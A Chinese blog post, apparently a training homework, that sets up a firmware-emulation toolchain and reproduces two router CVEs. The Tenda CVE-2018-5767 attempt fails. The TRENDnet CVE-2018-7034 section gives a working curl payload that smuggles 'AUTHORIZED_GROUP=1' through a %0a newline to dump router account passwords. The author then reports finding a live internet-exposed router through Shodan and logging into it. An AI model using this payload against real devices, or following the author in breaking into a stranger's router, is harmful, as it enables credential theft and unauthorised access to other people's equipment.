360IOT人才培养计划第三次作业

360IOT的第三次作业,发表上来记录一下Orz。

准备工作

在对队里的PWN大手子一番软磨硬泡后得到了一个链接Orz。

那么还是使用我最喜欢的Docker

在创建容器的同时挂载上一个外部目录方便文件传输。

安装debian

1
docker run -it --name iot -v /Users/south/Docker/Iot:/Iot -d debian

进入容器。

1
docker exec -it iot /bin/bash

1

先更新。

1
apt-get update && apt-get upgrade && apt-get dist-upgrade

安装vim

1
apt-get -y install vim

换源。

1
vim /etc/apt/sources.list

这里用163的源。

1
2
3
4
5
6
7
8
deb http://mirrors.163.com/debian/ stretch main non-free contrib
deb http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb http://mirrors.163.com/debian/ stretch-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ stretch-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ stretch/updates main non-free contrib

再更新。

1
apt-get update && apt-get upgrade && apt-get dist-upgrade

安装必要工具

安装gitgdbgdb-multiarch

1
apt-get -y install git gdb gdb-multiarch

安装gdb的插件pwndbg(或者gefgdb plugin

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

顺便装个pwntools

1
pip install pwntools

2

然后安装qemu

1
apt-get -y install qemu qemu-user qemu-user-static binfmt-support debootstrap

安装binwalk

1
apt-get -y install binwalk

安装对应架构的共享库。

1
apt search "libc6-" | grep arm

3

安装工具链。

1
apt-get install -y gcc-arm-linux-gnueabi lsb-core

漏洞复现 CVE-2018-5767

这儿选择复现CVE-2018-5767,文章来自先知

1
https://www.freebuf.com/articles/wireless/166869.html
1
https://my.oschina.net/u/1188877/blog/677277

分析固件

1
binwalk -e US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

将其中的漏洞文件httpd拷贝出来,使用ida打开。

4

【原文说这儿会将cookie中的password后面的值拷贝到变量var_1c0,造成栈溢出。

查看一下这个httpdArm小端结构。

5

然后需要将connectcfm的返回值patch1【大手子说是由于单独运行这个httpd不完整因此需要更改为1来通过验证。

安装keypatch

然后使用keypatch,安装又是一阵忙活。

1
git clone https://github.com/keystone-engine/keypatch.git

然后复制其中的keypatch.py到路径/Applications/IDA/Pro 7.0/ida.app/Contents/MacOS/plugins/下。

然后根据源文档在编译keystone-engine的时候会报错。

一番搜索后找到了这个

1
git clone https://github.com/fjh658/keystone-engine.git

并且复制其中的keystone到路径/Applications/IDA/Pro 7.0/ida.app/Contents/MacOS/python/lib/python2.7/lib_dynload/下。

最后运行如下指令。

1
2
3
cd keystone-engine
git submodule update --init --recursive
sudo python setup.py install --verbose

然后就把keypatch安装好了。

6

修改成功。

QEMU调试

然后根据师傅的原文,拷贝arm架构的qemu

1
cp $(which qemu-arm-static) ./qemu

然后使用脚本调试。

1
2
3
4
5
#!/bin/bash

PORT="2333"

chroot ../qemu -g $PORT ./bin/httpd

运行提示chroot: failed to run command '-g': No such file or directory有点迷Orz。

然后问队里的大手子,尝试使用如下指令。

1
qemu-arm -g 2333 -L /usr/arm-linux-gnueabihf/ ./httpd

提示/lib/ld-uClibc.so.0: No such file or directory,更迷了。

搜了一圈,看到一篇只让我更加莫名其妙的Orz。

因此决定安装一下这个uclibc,下载。

1
wget 'http://www.uclibc.org/downloads/uClibc-0.9.33.2.tar.bz2'

解压并进入目录。

1
tar xvf uClibc-0.9.33.2.tar.bz2 && cd uClibc-0.9.33.2

然后配置。

1
make menuconfig

然后选中Target Architecture (i386),改成arm

7

选中Target Architecture Features and Options,更改Linux kernel header location (NEW)为交叉编译器的目录,我使用的是gcc-arm-linux-gnueabi,因此目录为/usr/arm-linux-gnueabi/include

8

由于之前file命令查看到的是arm小端,因此选中Target Processor Endianness (Big Endian),改为arm小端。

9

选中Development/debugging options填写交叉编译器指令,此处我填的是arm-linux-gnueabi-

10

最后保存,退出,然后make&&make install安装,还是报错了。

1
2
3
collect2: error: ld returned 1 exit status
libc/Makefile.in:64: recipe for target 'lib/libc.so' failed
make: *** [lib/libc.so] Error 1

查找一下。

1
find / -name libc.so

发现并没有lib/libc.so,于是建立软链接。

1
ln -s /lib64/libc.so /lib/libc.so

安装好了,然后复制过去。

1
cp /usr/arm-linux-uclibc/lib/ld-uClibc.so.0 /lib/ld-uClibc.so.0

再次运行qemu-arm -g 2333 -L /usr/arm-linux-gnueabihf/ ./httpd,跑起来了,进入gdb调试。

毫无反应。。想来是复制缺失文件的法子不行。。但是找了许久也没有找到其他的解决方法,暂时搁置。

漏洞复现 CVE-2018-7034

参考了Atom Kid师傅的文章固件下载.zip)。

固件分析

照常是binwalk解包。

1
binwalk -e TEW751DR_FW103B03.bin

又报错了。。。

11

看了一下,使用firmware-mod-kit中的unsquashfs_all.sh命令继续解压,参考了一下这篇文章

1
2
3
git clone https://github.com/mirror/firmware-mod-kit.git
apt-get install build-essential zlib1g-dev libz1zma-dev python-magic
./configure && make

同时将binwalk出来的150090.squashfs放入firmware-mod-kit下,运行./unsquashfs_all.sh 150090.squashfs,终于成功了。。。

12

得到了文件。

13

漏洞分析

根据原文叙述,漏洞位置在htdocs/web/getcfg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
}
?></postxml>

简单分析一下代码。

如果POST没有提交参数CACHE,判断$AUTHORIZED_GROUP < 0

如果$AUTHORIZED_GROUP>=0,则用cut_count()方法判断是否有数据以Post方法传给变量SERVICES

然后将变量SERVICES的值传给$GETCFG_SVC,最后用$GETCFG_SVC拼接路径来读取文件。

那么应该是一个文件包含了,看看有没有什么可以读取的敏感文件。

一番东翻西找,发现在/htdocs/webinc/getcfg下有DEVICE.ACCOUNT.xml.php这一个文件,里面包含了用户的账号密码。

1
2
3
4
5
6
7
8
9
10
11
12
foreach("/device/account/entry")
{
if ($InDeX > $cnt) break;
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";
echo "\t\t\t\t<password>". get("x","password")."</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}

那么要攻击的目标就很明确了,然后再来分析一下登陆流程。

将登录验证文件cgibin简单查看一下。

14

MIPS架构,用IDA打开分析。

15

在处理POST请求的时候,调用的是cgibin_parse_request函数,然后函数sub_406018会获取并保存AUTHORIZED_GROUP的值,再结合上文的getcfg.php中的if($AUTHORIZED_GROUP < 0)语句,想来我们就可以直接给$AUTHORIZED_GROUP赋值来绕过验证。

16

因此构造的Payload如下。

1
curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1″ “http://127.0.0.1:8080/getcfg.php”

其中SERVICES=DEVICE.ACCOUNT是为了读取DEVICE.ACCOUNT.xml.php文件来获取用户名密码,AUTHORIZED_GROUP=1为了绕过验证。

漏洞验证

打开shodan查找tew-751dr

选择一个版本在1.03的路由器。

17

登陆成功。

18

总结

不得不说一句,环境真难配。

第一个CVE-2018-5767的环境配了许久也没成功复现。

第二个CVE-2018-7034复现起来较为简单,但由于MIPS的原因,IDA无法对其进行反编译,找到的插件也仅支持WindowsLinux,也是配置难,因此只能手撸汇编。但是由于学识浅薄,读起来实在是吃力Orz。

荆棘刺穿我的脚掌路坎坷而漫长。